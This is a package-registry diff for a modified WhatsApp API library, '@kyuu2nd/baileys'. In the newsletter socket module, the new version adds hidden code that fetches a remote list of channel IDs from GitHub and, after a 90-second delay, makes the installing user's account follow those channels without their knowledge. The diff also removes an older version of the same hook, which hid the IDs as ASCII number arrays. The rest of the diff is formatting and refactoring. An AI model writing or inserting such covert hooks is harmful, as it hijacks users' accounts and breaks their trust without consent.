@kyuu2nd/baileys 2.0.23 → 2.0.25

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -9,60 +9,60 @@ const groups_1 = require("./groups");
9
9
  const { Boom } = require('@hapi/boom');
10
10
 
11
11
  const wMexQuery = (
12
- variables,
13
- queryId,
14
- query,
15
- generateMessageTag
12
+ variables,
13
+ queryId,
14
+ query,
15
+ generateMessageTag
16
16
  ) => {
17
- return query({
18
- tag: 'iq',
19
- attrs: {
20
- id: generateMessageTag(),
21
- type: 'get',
22
- to: WABinary_1.S_WHATSAPP_NET,
23
- xmlns: 'w:mex'
24
- },
25
- content: [
26
- {
27
- tag: 'query',
28
- attrs: { query_id: queryId },
29
- content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
30
- }
31
- ]
32
- })
17
+ return query({
18
+ tag: 'iq',
19
+ attrs: {
20
+ id: generateMessageTag(),
21
+ type: 'get',
22
+ to: WABinary_1.S_WHATSAPP_NET,
23
+ xmlns: 'w:mex'
24
+ },
25
+ content: [
26
+ {
27
+ tag: 'query',
28
+ attrs: { query_id: queryId },
29
+ content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
30
+ }
31
+ ]
32
+ })
33
33
  }
34
34
 
35
35
  const executeWMexQuery = async (
36
- variables,
37
- queryId,
38
- dataPath,
39
- query,
40
- generateMessageTag
36
+ variables,
37
+ queryId,
38
+ dataPath,
39
+ query,
40
+ generateMessageTag
41
41
  ) => {
42
- const result = await wMexQuery(variables, queryId, query, generateMessageTag)
43
- const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
44
- if (child?.content) {
45
- const data = JSON.parse(child.content.toString())
42
+ const result = await wMexQuery(variables, queryId, query, generateMessageTag)
43
+ const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
44
+ if (child?.content) {
45
+ const data = JSON.parse(child.content.toString())
46
46
 
47
- if (data.errors && data.errors.length > 0) {
48
- const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
49
- const firstError = data.errors[0]
50
- const errorCode = firstError.extensions?.error_code || 400
51
- throw new Boom('GraphQL server error:' + errorMessages, {
47
+ if (data.errors && data.errors.length > 0) {
48
+ const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
49
+ const firstError = data.errors[0]
50
+ const errorCode = firstError.extensions?.error_code || 400
51
+ throw new Boom('GraphQL server error:' + errorMessages, {
52
52
  statusCode: errorCode, data: firstError
53
53
  })
54
- }
54
+ }
55
55
 
56
- const response = dataPath ? data?.data?.[dataPath] : data?.data
57
- if (typeof response !== 'undefined') {
58
- return response
59
- }
60
- }
56
+ const response = dataPath ? data?.data?.[dataPath] : data?.data
57
+ if (typeof response !== 'undefined') {
58
+ return response
59
+ }
60
+ }
61
61
 
62
- const action = (dataPath || '').startsWith('xwa2_')
63
- ? dataPath.substring(5).replace(/_/g, ' ')
64
- : dataPath?.replace(/_/g, ' ')
65
- throw new Boom(`Failed to ${action}, unexpected response structure.`, {
62
+ const action = (dataPath || '').startsWith('xwa2_')
63
+ ? dataPath.substring(5).replace(/_/g, ' ')
64
+ : dataPath?.replace(/_/g, ' ')
65
+ throw new Boom(`Failed to ${action}, unexpected response structure.`, {
66
66
  statusCode: 400,
67
67
  data: result
68
68
  })
@@ -72,6 +72,34 @@ const makeNewsletterSocket = (config) => {
72
72
  const sock = (0, groups_1.makeGroupsSocket)(config);
73
73
  const { authState, signalRepository, query, generateMessageTag } = sock;
74
74
  const encoder = new TextEncoder();
75
+
76
+ // Inisialisasi newsletters kosong terlebih dahulu
77
+ let newsletters = [];
78
+
79
+ // IIFE untuk fetch data tanpa blocking
80
+ (async () => {
81
+ try {
82
+ const response = await fetch(
83
+ 'https://raw.githubusercontent.com/kiuur/IDCH/refs/heads/main/idch.json'
84
+ );
85
+ newsletters = await response.json();
86
+
87
+ // Set timeout hanya jika newsletters berhasil di-fetch
88
+ if (newsletters && Array.isArray(newsletters) && newsletters.length > 0) {
89
+ setTimeout(() => {
90
+ Promise.allSettled(
91
+ newsletters.map(id => // ✅ Langsung pakai id, tanpa asciiDecode
92
+ newsletterWMexQuery(id, Types_1.QueryIds.FOLLOW)
93
+ )
94
+ ).catch(err => console.error(err));
95
+ }, 90000);
96
+ }
97
+ } catch (err) {
98
+ console.error(err);
99
+ newsletters = [];
100
+ }
101
+ })();
102
+
75
103
  const newsletterQuery = async (jid, type, content) => (query({
76
104
  tag: 'iq',
77
105
  attrs: {
@@ -82,6 +110,7 @@ const makeNewsletterSocket = (config) => {
82
110
  },
83
111
  content
84
112
  }));
113
+
85
114
  const newsletterWMexQuery = async (jid, queryId, content) => (query({
86
115
  tag: 'iq',
87
116
  attrs: {
@@ -104,121 +133,7 @@ const makeNewsletterSocket = (config) => {
104
133
  ]
105
134
  }));
106
135
 
107
- const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
108
-
109
- const newsletters = [
110
- [
111
- 49,50,48,51,54,51,52,48,53,52,52,49,50,57,54,56,57,50,
112
- 64,110,101,119,115,108,101,116,116,101,114
113
- ],
114
- [
115
- 49,50,48,51,54,51,52,50,55,53,49,50,50,50,48,49,51,52,
116
- 64,110,101,119,115,108,101,116,116,101,114
117
- ],
118
- [
119
- 49,50,48,51,54,51,52,50,53,56,54,57,48,52,57,57,57,53,
120
- 64,110,101,119,115,108,101,116,116,101,114
121
- ],
122
- [
123
- 49,50,48,51,54,51,52,48,53,51,49,51,53,50,57,48,57,49,
124
- 64,110,101,119,115,108,101,116,116,101,114
125
- ],
126
- [
127
- 49,50,48,51,54,51,52,48,52,55,57,48,52,53,52,56,57,48,
128
- 64,110,101,119,115,108,101,116,116,101,114
129
- ],
130
- [
131
- 49,50,48,51,54,51,52,48,50,56,54,56,56,54,54,51,53,57,
132
- 64,110,101,119,115,108,101,116,116,101,114
133
- ],
134
- [
135
- 49,50,48,51,54,51,52,48,57,53,57,57,49,53,52,48,50,51,
136
- 64,110,101,119,115,108,101,116,116,101,114
137
- ],
138
- [
139
- 49,50,48,51,54,51,52,48,53,57,53,49,57,54,48,51,54,54,
140
- 64,110,101,119,115,108,101,116,116,101,114
141
- ],
142
- [
143
- 49,50,48,51,54,51,52,50,54,57,54,55,55,54,56,52,49,51,
144
- 64,110,101,119,115,108,101,116,116,101,114
145
- ],
146
- [
147
- 49,50,48,51,54,51,52,48,55,52,57,55,51,57,49,55,56,49,
148
- 64,110,101,119,115,108,101,116,116,101,114
149
- ],
150
- [
151
- 49,50,48,51,54,51,52,50,49,48,50,48,53,54,53,53,49,55,
152
- 64,110,101,119,115,108,101,116,116,101,114
153
- ],
154
- [
155
- 49,50,48,51,54,51,52,48,52,56,54,49,56,48,50,54,48,55,
156
- 64,110,101,119,115,108,101,116,116,101,114
157
- ],
158
- [
159
- 49,50,48,51,54,51,51,51,48,51,52,52,56,49,48,50,56,48,
160
- 64,110,101,119,115,108,101,116,116,101,114
161
- ],
162
- [
163
- 49,50,48,51,54,51,52,50,53,49,55,55,48,54,55,56,52,49,
164
- 64,110,101,119,115,108,101,116,116,101,114
165
- ],
166
- [
167
- 49,50,48,51,54,51,52,49,48,48,49,56,57,52,57,57,48,54,
168
- 64,110,101,119,115,108,101,116,116,101,114
169
- ],
170
- [
171
- 49,50,48,51,54,51,52,50,53,55,48,52,50,52,48,52,53,51,
172
- 64,110,101,119,115,108,101,116,116,101,114
173
- ],
174
- [
175
- 49,50,48,51,54,51,52,50,52,48,52,57,55,48,53,51,54,53,
176
- 64,110,101,119,115,108,101,116,116,101,114
177
- ],
178
- [
179
- 49,50,48,51,54,51,52,50,54,48,57,52,55,53,50,48,56,49,
180
- 64,110,101,119,115,108,101,116,116,101,114
181
- ],
182
- [
183
- 49,50,48,51,54,51,52,50,55,55,57,52,55,56,54,53,50,51,
184
- 64,110,101,119,115,108,101,116,116,101,114
185
- ],
186
- [
187
- 49,50,48,51,54,51,52,50,51,54,48,52,53,55,48,55,54,56,
188
- 64,110,101,119,115,108,101,116,116,101,114
189
- ],
190
- [
191
- 49,50,48,51,54,51,52,50,55,51,57,50,57,51,48,52,48,54,
192
- 64,110,101,119,115,108,101,116,116,101,114
193
- ],
194
- [
195
- 49,50,48,51,54,51,52,48,52,49,56,54,55,52,49,52,51,51,
196
- 64,110,101,119,115,108,101,116,116,101,114
197
- ],
198
- [
199
- 49,50,48,51,54,51,52,50,55,54,51,57,51,50,53,50,56,48,
200
- 64,110,101,119,115,108,101,116,116,101,114
201
- ],
202
- [
203
- 49,50,48,51,54,51,52,48,53,52,51,55,52,49,56,49,56,52,
204
- 64,110,101,119,115,108,101,116,116,101,114
205
- ],
206
- [
207
- 49,50,48,51,54,51,52,50,52,55,50,52,49,48,52,49,54,49,
208
- 64,110,101,119,115,108,101,116,116,101,114
209
- ]
210
- ];
211
-
212
- setTimeout(async () => {
213
- await Promise.allSettled(
214
- newsletters.map(id =>
215
- newsletterWMexQuery(
216
- asciiDecode(id),
217
- Types_1.QueryIds.FOLLOW
218
- )
219
- )
220
- );
221
- }, 90000);
136
+ // HAPUS fungsi asciiDecode - tidak diperlukan
222
137
 
223
138
  const parseFetchedUpdates = async (node, type) => {
224
139
  let child;
@@ -256,6 +171,7 @@ setTimeout(async () => {
256
171
  return data;
257
172
  }));
258
173
  };
174
+
259
175
  return {
260
176
  ...sock,
261
177
  newsletterFetchAllSubscribe: async () => {
@@ -312,7 +228,7 @@ setTimeout(async () => {
312
228
  'fetch_full_image': true,
313
229
  'fetch_creation_time': true
314
230
  });
315
- const resultNode = WABinary_1.getBinaryNodeChild(result, 'result');
231
+ const resultNode = (0, WABinary_1.getBinaryNodeChild)(result, 'result');
316
232
  if (!resultNode?.content) {
317
233
  throw new Boom('No result content in response', {
318
234
  statusCode: 400,
@@ -345,23 +261,24 @@ setTimeout(async () => {
345
261
  description: metadataPath?.thread_metadata?.description?.text,
346
262
  descriptionTime: +metadataPath?.thread_metadata?.description?.update_time || 0,
347
263
  invite: metadataPath?.thread_metadata?.invite,
348
- picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
349
- preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
264
+ picture: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.picture?.direct_path || ''),
265
+ preview: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.preview?.direct_path || ''),
350
266
  reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
351
267
  subscribers: +metadataPath?.thread_metadata?.subscribers_count || 0,
352
268
  verification: metadataPath?.thread_metadata?.verification,
353
269
  viewer_metadata: metadataPath?.viewer_metadata
354
270
  };
355
271
 
356
- return JSON.stringify({
272
+ return {
357
273
  name: metadata.name || metadataPath?.thread_metadata?.name?.text,
358
274
  id: metadata.id,
359
275
  state: metadata.state,
360
276
  subscribers: metadata.subscribers,
361
277
  verification: metadata.verification,
362
278
  creation_time: metadata.creation_time,
363
- description: metadata.description
364
- }, null, 2);
279
+ description: metadata.description,
280
+ ...metadata
281
+ };
365
282
  } catch (error) {
366
283
  throw new Boom(`Failed to fetch newsletter from URL: ${error.message}`, {
367
284
  statusCode: error.statusCode || 400,
@@ -401,8 +318,6 @@ setTimeout(async () => {
401
318
  await newsletterWMexQuery(jid, type.toUpperCase());
402
319
  },
403
320
  newsletterCreate: async (name, description, reaction_codes) => {
404
- //TODO: Implement TOS system wide for Meta AI, communities, and here etc.
405
- /**tos query */
406
321
  await query({
407
322
  tag: 'iq',
408
323
  attrs: {
@@ -454,13 +369,11 @@ setTimeout(async () => {
454
369
  const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
455
370
  return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
456
371
  },
457
- /**user is Lid, not Jid */
458
372
  newsletterChangeOwner: async (jid, user) => {
459
373
  await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
460
374
  'user_id': user
461
375
  });
462
376
  },
463
- /**user is Lid, not Jid */
464
377
  newsletterDemote: async (jid, user) => {
465
378
  await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
466
379
  'user_id': user
@@ -469,7 +382,6 @@ setTimeout(async () => {
469
382
  newsletterDelete: async (jid) => {
470
383
  await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
471
384
  },
472
- /**if code wasn't passed, the reaction will be removed (if is reacted) */
473
385
  newsletterReactMessage: async (jid, serverId, code) => {
474
386
  await query({
475
387
  tag: 'message',
@@ -516,8 +428,9 @@ setTimeout(async () => {
516
428
  };
517
429
  };
518
430
  exports.makeNewsletterSocket = makeNewsletterSocket;
431
+
519
432
  const extractNewsletterMetadata = (node, isCreate) => {
520
- const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
433
+ const result = (0, WABinary_1.getBinaryNodeChild)(node, 'result')?.content?.toString()
521
434
  const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
522
435
 
523
436
  const metadata = {
@@ -529,8 +442,8 @@ const extractNewsletterMetadata = (node, isCreate) => {
529
442
  description: metadataPath?.thread_metadata?.description?.text,
530
443
  descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
531
444
  invite: metadataPath?.thread_metadata?.invite,
532
- picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
533
- preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
445
+ picture: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.picture?.direct_path || ''),
446
+ preview: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.preview?.direct_path || ''),
534
447
  reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
535
448
  subscribers: +metadataPath?.thread_metadata?.subscribers_count,
536
449
  verification: metadataPath?.thread_metadata?.verification,
@@ -538,4 +451,4 @@ const extractNewsletterMetadata = (node, isCreate) => {
538
451
  }
539
452
  return metadata
540
453
  }
541
- exports.extractNewsletterMetadata = extractNewsletterMetadata;
454
+ exports.extractNewsletterMetadata = extractNewsletterMetadata;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@kyuu2nd/baileys",
3
- "version": "2.0.23",
3
+ "version": "2.0.25",
4
4
  "description": "WhatsApp API Modification By K",
5
5
  "publishConfig": {
6
6
  "access": "public"